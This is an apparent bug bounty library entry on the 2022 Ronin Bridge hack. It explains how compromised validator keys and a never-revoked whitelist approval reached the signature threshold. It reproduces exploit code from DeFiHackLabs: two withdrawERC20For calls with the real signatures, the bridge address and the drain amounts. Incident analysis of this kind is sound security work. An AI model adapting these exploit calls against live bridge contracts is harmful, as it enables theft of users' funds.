# Ronin Bridge: stale validator whitelist enables $624M drain

Compromised Sky Mavis validator keys plus a never-revoked Axie DAO whitelist signature let an attacker forge bridge withdrawals, draining 173,600 ETH and 25.5M USDC.

- Payout: Real-world hack
- Severity: critical
- Program: Ronin Network
- Analysis by: DeFiHackLabs
- Disclosed: 2022-03-29
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-03/Ronin_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220329-ronin
- Tags: area:web3 domain:web3 impact:funds-loss impact:mass-exploit kind:incident platform:defihacklabs sev:critical tech:evm technique:legacy-endpoint vuln:access-control vuln:auth-bypass vuln:signature-replay

**Target:** Ronin Bridge contract withdrawERC20For with validator signature threshold
**Root cause:** Bridge required 5-of-9 validator signatures; attacker compromised Sky Mavis validators and reused a leftover Axie DAO gas-free RPC whitelist approval that was never revoked, supplying the fifth signature.
**Steps:**
1. Compromise Sky Mavis-operated validator keys (4 of 9).
2. Reuse the un-revoked Axie DAO validator approval from the Nov 2021 gas-free RPC arrangement to obtain the fifth signature.
3. Call `withdrawERC20For(_withdrawalId: 2000000, _user: attacker, _token: WETH, _amount: 173600e18, _signatures: <5 sigs>)` on Ronin Bridge `0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2`.
4. Call `withdrawERC20For(_withdrawalId: 2000001, _user: attacker, _token: USDC, _amount: 25500000000000, _signatures: <5 sigs>)` for 25.5M USDC.
5. Swap USDC to ETH via intermediate addresses and consolidate to attacker wallet `0x098b716b8aaf21512996dc57eb0615e2383e2f96`.
**How found:** Attacker likely identified the leftover Axie DAO validator approval (never revoked after the Nov 2021 gas-free RPC arrangement) as the path to reach the 5-signature threshold after compromising Sky Mavis validators.
**Exploitation:** With five valid signatures the attacker authorized two withdrawals directly from the bridge contract, extracting 173,600 ETH and 25.5M USDC; USDC was swapped to ETH through other addresses and returned to the main wallet, with 6,250 ETH moved out (partly to FTX and Crypto.com).
**Escalation:** Compromise of 4 Sky Mavis validators was escalated to the 5-of-9 threshold by chaining the stale Axie DAO whitelist approval, enabling full bridge drain.
**Insight:** For bridge/validator-threshold protocols, enumerate every historical signer-whitelist grant and check whether temporary cross-org approvals were revoked; a stale approval can complete a threshold after partial key compromise.

## Proof of concept (copied exactly from the original report)

**withdrawERC20For WETH drain with forged signatures**

```
IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42
            _withdrawalId: 2_000_000,
            _user: attacker,
            _token: WETH,
            _amount: 173_600_000_000_000_000_000_000,
            _signatures: hex"01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c"
        });
```

**Second withdrawERC20For draining USDC**

```
IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42
            _withdrawalId: 2_000_001,
            _user: attacker,
            _token: USDC,
            _amount: 25_500_000_000_000,
            _signatures: hex"016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b"
        });
```